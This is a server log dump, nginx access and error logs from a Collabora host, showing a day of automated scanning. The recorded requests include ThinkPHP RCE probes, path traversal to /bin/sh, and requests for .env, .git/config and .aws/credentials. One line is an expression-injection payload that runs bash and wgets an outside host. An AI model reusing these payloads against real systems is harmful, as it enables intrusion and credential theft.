193.118.53.210 - - [09/Jun/2022:08:37:19 +0200] "GET /solr/ HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
34.78.6.216 - - [09/Jun/2022:08:50:30 +0200] "GET / HTTP/1.1" 200 396 "-" "python-requests/2.27.1"
193.106.191.48 - - [09/Jun/2022:08:54:11 +0200] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [09/Jun/2022:09:09:56 +0200] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
128.1.248.26 - - [09/Jun/2022:09:19:45 +0200] "GET /solr/ HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
20.213.51.37 - - [09/Jun/2022:09:20:47 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
80.94.93.250 - - [09/Jun/2022:09:21:47 +0200] "GET /admin/config.php HTTP/1.1" 404 118 "-" "python-requests/2.27.1"
66.240.205.34 - - [09/Jun/2022:09:35:24 +0200] "H\x00\x00\x00tj\xA8\x9E#D\x98+\xCA\xF0\xA7\xBBl\xC5\x19\xD7\x8D\xB6\x18\xEDJ\x1En\xC1\xF9xu[l\xF0E\x1D-j\xEC\xD4xL\xC9r\xC9\x15\x10u\xE0%\x86Rtg\x05fv\x86]%\xCC\x80\x0C\xE8\xCF\xAE\x00\xB5\xC0f\xC8\x8DD\xC5\x09\xF4" 400 150 "-" "-"
136.32.171.35 - - [09/Jun/2022:09:51:06 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
193.106.191.48 - - [09/Jun/2022:10:06:33 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
120.85.113.152 - - [09/Jun/2022:10:23:56 +0200] "POST /HNAP1/ HTTP/1.0" 404 146 "-" "-"
222.175.199.226 - - [09/Jun/2022:10:29:38 +0200] "GET / HTTP/1.1" 400 248 "-" "-"
193.106.191.48 - - [09/Jun/2022:10:32:02 +0200] "GET /console/ HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [09/Jun/2022:10:56:34 +0200] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [09/Jun/2022:11:20:15 +0200] "GET /_ignition/execute-solution HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
2.57.122.35 - - [09/Jun/2022:11:28:18 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
202.102.144.122 - - [09/Jun/2022:11:29:33 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 Chrome"
192.241.222.109 - - [09/Jun/2022:11:33:22 +0200] "GET /hudson HTTP/1.1" 404 118 "-" "Mozilla/5.0 zgrab/0.x"
193.106.191.48 - - [09/Jun/2022:11:54:09 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
37.0.10.187 - - [09/Jun/2022:11:57:18 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
37.0.10.187 - - [09/Jun/2022:11:57:24 +0200] "POST /HNAP1/ HTTP/1.1" 404 118 "-" "Mozila/5.0"
134.209.43.49 - - [09/Jun/2022:12:03:08 +0200] "\x16\x03\x01\x00\xEA\x01\x00\x00\xE6\x03\x03\xCB\xE9\x19f\xA7\xF8\xB8\x8A\xE7\xF0\x17|j\x89M\x15h\xE9\xFF\xA0\xDF*\xA9\xF7wr\xD4\x15\x1B\xAB^\x04 \x9A\xA7\xFF\xDD\x9At\xCA\xEB28*\xCC\x1B\x02\x00\x85v\x1D5K\xAE\x1Fy\xF8/Q" 400 150 "-" "-"
134.209.43.49 - - [09/Jun/2022:12:03:08 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "HELP" 400 150 "-" "-"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /.DS_Store HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /server-status HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /?rest_route=/wp/v2/users/ HTTP/1.1" 200 396 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /info.php HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /.git/config HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /s/3139372e3231342e3131392e313739/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /.env HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA170333) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.3319.98 Mobile Safari/537.3"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /telescope/requests HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /config.json HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
134.209.43.49 - - [09/Jun/2022:12:03:09 +0200] "GET /login.action HTTP/1.1" 404 118 "-" "Go-http-client/1.1"
68.183.34.218 - - [09/Jun/2022:12:10:48 +0200] "HEAD / HTTP/1.0" 400 0 "-" "-"
68.183.34.218 - - [09/Jun/2022:12:10:48 +0200] "HEAD / HTTP/1.0" 200 0 "-" "-"
68.183.34.218 - - [09/Jun/2022:12:10:48 +0200] "GET /system_api.php HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:49 +0200] "GET /system_api.php HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:49 +0200] "GET /system_api.php HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:50 +0200] "GET /c/version.js HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:50 +0200] "GET /c/version.js HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:50 +0200] "GET /c/version.js HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:51 +0200] "GET /streaming/clients_live.php HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:51 +0200] "GET /streaming/clients_live.php HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:51 +0200] "GET /streaming/clients_live.php HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:52 +0200] "GET /stalker_portal/c/version.js HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:52 +0200] "GET /stalker_portal/c/version.js HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:52 +0200] "GET /stalker_portal/c/version.js HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:53 +0200] "GET /stream/live.php HTTP/1.1" 404 118 "-" "AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9"
68.183.34.218 - - [09/Jun/2022:12:10:53 +0200] "GET /stream/live.php HTTP/1.1" 400 248 "-" "AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9"
68.183.34.218 - - [09/Jun/2022:12:10:53 +0200] "GET /stream/live.php HTTP/1.1" 404 118 "-" "AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9"
68.183.34.218 - - [09/Jun/2022:12:10:54 +0200] "GET /flu/403.html HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:54 +0200] "GET /flu/403.html HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:55 +0200] "GET /flu/403.html HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:55 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:55 +0200] "GET / HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
68.183.34.218 - - [09/Jun/2022:12:10:56 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
45.143.200.118 - - [09/Jun/2022:12:16:07 +0200] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-"
180.149.125.167 - - [09/Jun/2022:12:18:24 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"
103.203.57.10 - - [09/Jun/2022:12:20:07 +0200] "GET / HTTP/1.1" 200 612 "-" "HTTP Banner Detection (https://security.ipip.net)"
94.182.3.173 - - [09/Jun/2022:12:20:51 +0200] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.106.191.48 - - [09/Jun/2022:12:23:54 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-"
64.62.197.92 - - [09/Jun/2022:12:42:02 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
183.136.225.35 - - [09/Jun/2022:12:42:12 +0200] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
193.106.191.48 - - [09/Jun/2022:12:51:50 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
185.180.143.5 - - [09/Jun/2022:12:58:08 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
94.232.41.27 - - [09/Jun/2022:13:07:24 +0200] "\x03\x00\x00,'\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Domain" 400 150 "-" "-"
94.232.41.27 - - [09/Jun/2022:13:07:24 +0200] "\x03\x00\x00,'\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Domain" 400 150 "-" "-"
192.241.203.99 - - [09/Jun/2022:13:15:37 +0200] "GET /portal/redlion HTTP/1.1" 404 118 "-" "Mozilla/5.0 zgrab/0.x"
176.49.240.162 - - [09/Jun/2022:13:15:54 +0200] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
193.106.191.48 - - [09/Jun/2022:13:15:56 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
192.241.223.21 - - [09/Jun/2022:13:17:23 +0200] "GET /actuator/health HTTP/1.1" 404 118 "-" "Mozilla/5.0 zgrab/0.x"
192.168.131.150 - - [09/Jun/2022:14:13:22 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
192.168.131.150 - - [09/Jun/2022:14:13:23 +0200] "GET /favicon.ico HTTP/1.1" 404 181 "https://collabora1.business.za.org/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
192.168.131.150 - - [09/Jun/2022:14:13:38 +0200] "GET /browser HTTP/1.1" 404 137 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
167.94.146.60 - - [09/Jun/2022:14:13:49 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
167.94.146.60 - - [09/Jun/2022:14:13:50 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
167.94.146.60 - - [09/Jun/2022:14:13:50 +0200] "PRI * HTTP/2.0" 400 150 "-" "-"
192.168.131.150 - - [09/Jun/2022:14:14:01 +0200] "GET /adminws HTTP/1.1" 404 181 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
192.168.131.150 - - [09/Jun/2022:14:14:22 +0200] "GET /cool/adminws HTTP/1.1" 400 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
192.168.131.150 - - [09/Jun/2022:14:14:31 +0200] "GET /cool/adminws HTTP/1.1" 301 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
192.168.131.150 - - [09/Jun/2022:14:14:31 +0200] "GET /cool/adminws HTTP/1.1" 400 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
192.168.131.150 - - [09/Jun/2022:14:14:42 +0200] "GET /cool/adminws HTTP/1.1" 400 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
192.168.131.150 - - [09/Jun/2022:14:15:18 +0200] "GET /cool/adminws HTTP/1.1" 400 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"
5 
root@Collabora1:/var/log# cat nginx/error.log 
2022/06/09 00:31:08 [crit] 8240#8240: *1576 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 128.14.133.58, server: 0.0.0.0:443
2022/06/09 00:31:15 [error] 8240#8240: *1577 "/usr/share/nginx/html/webfig/index.html" is not found (2: No such file or directory), client: 128.14.133.58, server: collabora1.business.za.org, request: "GET /webfig/ HTTP/1.1", host: "197.214.119.179"
2022/06/09 00:31:22 [crit] 8240#8240: *1577 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 128.14.133.58, server: 0.0.0.0:443
2022/06/09 01:17:56 [crit] 8240#8240: *1578 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 94.102.61.8, server: 0.0.0.0:443
2022/06/09 01:25:35 [error] 8240#8240: *1579 open() "/usr/share/nginx/html/owa/auth/x.js" failed (2: No such file or directory), client: 192.241.214.157, server: collabora1.business.za.org, request: "GET /owa/auth/x.js HTTP/1.1", host: "197.214.119.179"
2022/06/09 01:25:35 [crit] 8240#8240: *1579 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 192.241.214.157, server: 0.0.0.0:443
2022/06/09 01:27:34 [error] 8240#8240: *1580 open() "/usr/share/nginx/html/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application" failed (2: No such file or directory), client: 192.241.220.215, server: collabora1.business.za.org, request: "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1", host: "197.214.119.179"
2022/06/09 01:27:35 [crit] 8240#8240: *1580 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 192.241.220.215, server: 0.0.0.0:443
2022/06/09 01:28:30 [error] 8240#8240: *1582 open() "/usr/share/nginx/html/owa/auth/logon.aspx" failed (2: No such file or directory), client: 192.241.220.248, server: collabora1.business.za.org, request: "GET /owa/auth/logon.aspx HTTP/1.1", host: "197.214.119.179"
2022/06/09 01:28:30 [crit] 8240#8240: *1582 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 192.241.220.248, server: 0.0.0.0:443
2022/06/09 02:24:55 [error] 8240#8240: *1588 "/usr/share/nginx/html/${new+javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new+java.lang.ProcessBuilder().command('bash','-c','wget+https:/insidegroup.be/wp-includes/Text/a.php?id=197.214.119.179').start()")}/index.html" is not found (2: No such file or directory), client: 209.141.50.20, server: collabora1.business.za.org, request: "GET /%24%7Bnew+javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new+java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget+https%3A%2F%2Finsidegroup.be%2Fwp-includes%2FText%2Fa.php%3Fid%3D197.214.119.179%27%29.start%28%29%22%29%7D%2F HTTP/1.1", host: "197.214.119.179"
2022/06/09 03:19:30 [crit] 8240#8240: *1594 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 167.94.138.61, server: 0.0.0.0:443
2022/06/09 03:20:46 [error] 8240#8240: *1596 open() "/usr/share/nginx/html/remote/fgt_lang" failed (2: No such file or directory), client: 45.134.144.140, server: collabora1.business.za.org, request: "GET ///remote/fgt_lang?lang=/../../../..//////////dev/ HTTP/1.1", host: "197.214.119.179"
2022/06/09 03:20:46 [crit] 8240#8240: *1596 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 45.134.144.140, server: 0.0.0.0:443
2022/06/09 03:21:27 [crit] 8240#8240: *1606 SSL_do_handshake() failed (SSL: error:0A00006C:SSL routines::bad key share) while SSL handshaking, client: 162.142.125.212, server: 0.0.0.0:443
2022/06/09 03:40:15 [crit] 8240#8240: *1608 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:17 [crit] 8240#8240: *1610 SSL_do_handshake() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:18 [crit] 8240#8240: *1611 SSL_do_handshake() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:18 [crit] 8240#8240: *1609 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while waiting for request, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:18 [crit] 8240#8240: *1612 SSL_do_handshake() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:19 [crit] 8240#8240: *1613 SSL_do_handshake() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:19 [crit] 8240#8240: *1614 SSL_do_handshake() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:22 [crit] 8240#8240: *1616 SSL_do_handshake() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:22 [crit] 8240#8240: *1617 SSL_do_handshake() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:24 [crit] 8240#8240: *1619 SSL_do_handshake() failed (SSL: error:0A00006C:SSL routines::bad key share) while SSL handshaking, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:40:58 [error] 8240#8240: *1629 open() "/usr/share/nginx/html/robots.txt" failed (2: No such file or directory), client: 185.142.236.41, server: collabora1.business.za.org, request: "GET /robots.txt HTTP/1.1", host: "197.214.119.179"
2022/06/09 03:40:59 [error] 8240#8240: *1630 open() "/usr/share/nginx/html/sitemap.xml" failed (2: No such file or directory), client: 185.142.236.41, server: collabora1.business.za.org, request: "GET /sitemap.xml HTTP/1.1", host: "197.214.119.179"
2022/06/09 03:41:01 [crit] 8240#8240: *1629 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:41:02 [error] 8240#8240: *1631 open() "/usr/share/nginx/html/.well-known/security.txt" failed (2: No such file or directory), client: 185.142.236.41, server: collabora1.business.za.org, request: "GET /.well-known/security.txt HTTP/1.1", host: "197.214.119.179"
2022/06/09 03:41:05 [error] 8240#8240: *1632 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 185.142.236.41, server: collabora1.business.za.org, request: "GET /favicon.ico HTTP/1.1", host: "197.214.119.179"
2022/06/09 03:41:06 [crit] 8240#8240: *1631 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:41:09 [crit] 8240#8240: *1630 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:41:09 [crit] 8240#8240: *1632 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 185.142.236.41, server: 0.0.0.0:443
2022/06/09 03:50:58 [error] 8240#8240: *1640 open() "/usr/share/nginx/html/owa/auth/logon.aspx" failed (2: No such file or directory), client: 192.241.215.38, server: collabora1.business.za.org, request: "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1", host: "197.214.119.179"
2022/06/09 03:51:06 [crit] 8240#8240: *1640 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 192.241.215.38, server: 0.0.0.0:443
2022/06/09 04:25:44 [crit] 8240#8240: *1645 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 192.241.212.238, server: 0.0.0.0:443
2022/06/09 04:34:26 [error] 8240#8240: *1646 open() "/usr/share/nginx/html/.git/config" failed (2: No such file or directory), client: 179.43.142.156, server: collabora1.business.za.org, request: "GET /.git/config HTTP/1.1", host: "197.214.119.179"
2022/06/09 04:53:50 [error] 8240#8240: *1651 open() "/usr/share/nginx/html/.aws/credentials" failed (2: No such file or directory), client: 109.237.103.118, server: collabora1.business.za.org, request: "GET /.aws/credentials HTTP/1.1", host: "197.214.119.179"
2022/06/09 04:53:51 [crit] 8240#8240: *1651 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 109.237.103.118, server: 0.0.0.0:443
2022/06/09 05:29:23 [crit] 8240#8240: *1653 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 128.14.141.34, server: 0.0.0.0:443
2022/06/09 07:20:36 [crit] 8240#8240: *1660 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 185.180.143.79, server: 0.0.0.0:443
2022/06/09 07:23:55 [crit] 8240#8240: *1664 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 167.94.138.47, server: 0.0.0.0:443
2022/06/09 08:24:53 [error] 8240#8240: *1673 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 18.206.55.48, server: collabora1.business.za.org, request: "GET /favicon.ico HTTP/1.1", host: "collabora1.business.za.org"
2022/06/09 08:24:53 [error] 8240#8240: *1673 open() "/usr/share/nginx/html/favicon.png" failed (2: No such file or directory), client: 18.206.55.48, server: collabora1.business.za.org, request: "GET /favicon.png HTTP/1.1", host: "collabora1.business.za.org"
2022/06/09 09:19:45 [error] 8240#8240: *1682 "/usr/share/nginx/html/solr/index.html" is not found (2: No such file or directory), client: 128.1.248.26, server: collabora1.business.za.org, request: "GET /solr/ HTTP/1.1", host: "197.214.119.179"
2022/06/09 09:19:52 [crit] 8240#8240: *1682 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 128.1.248.26, server: 0.0.0.0:443
2022/06/09 09:21:47 [error] 8240#8240: *1684 open() "/usr/share/nginx/html/admin/config.php" failed (2: No such file or directory), client: 80.94.93.250, server: collabora1.business.za.org, request: "GET /admin/config.php HTTP/1.1", host: "197.214.119.179"
2022/06/09 09:21:47 [crit] 8240#8240: *1684 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 80.94.93.250, server: 0.0.0.0:443
2022/06/09 12:10:49 [error] 8240#8240: *1723 open() "/usr/share/nginx/html/system_api.php" failed (2: No such file or directory), client: 68.183.34.218, server: collabora1.business.za.org, request: "GET /system_api.php HTTP/1.1", host: "197.214.119.179"
2022/06/09 12:10:49 [crit] 8240#8240: *1723 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 68.183.34.218, server: 0.0.0.0:443
2022/06/09 12:10:50 [error] 8240#8240: *1726 open() "/usr/share/nginx/html/c/version.js" failed (2: No such file or directory), client: 68.183.34.218, server: collabora1.business.za.org, request: "GET /c/version.js HTTP/1.1", host: "197.214.119.179"
